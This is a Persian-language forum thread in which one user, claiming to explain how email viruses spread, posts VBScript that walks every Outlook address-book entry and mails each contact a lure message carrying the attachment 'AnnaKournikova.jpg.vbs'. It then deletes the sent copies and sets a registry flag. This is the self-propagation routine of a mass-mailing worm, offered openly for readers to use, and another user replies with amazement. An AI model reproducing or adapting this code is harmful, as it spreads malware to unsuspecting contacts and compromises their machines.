به دست آوردن آدرس ايميل

[Mahdi1944]

تا به حال شده است که شما از مورد هجوم یک ویروس از طریق میل شده باشد؟ آیا میخواهيد به دانيد که چگونه اين کار انجام میشود من در اين جا به توضيح اين مطلب خواهم پرداخت. شما با استفاده از يک فايل با پسوند vbs که محتوای زير را داشته باشد مي توانيد از روی دفتر چه ياداشت مقصد آدرس ايميلهای دوستان آن شخص را به دست آوريد

[align=left]
Function doMail()

On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
Set AddressLists = MAPINameSpace.AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then
entryCount = address.AddressEntries.Count
For i = 1 To entryCount
Set newItem = OutlookApp.CreateItem(0)
Set currentAddress = address.AddressEntries(i)
newItem.To = currentAddress.Address
newItem.Subject = "Here you have, ;o)"
newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set attachments = newItem.Attachments
attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
newItem.DeleteAfterSubmit = True
If newItem.To <> "" Then
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if

End  


شما با ساختن يک شياء Outlook می توانيد اکثر ابزارهائی که در اين برنامه برای خواندن و فرستادن يک ميل نياز داريد به دست آوريد

[Fareed3230]

چه جالب !! به حق چيز هاي نديده و نشنيده 8)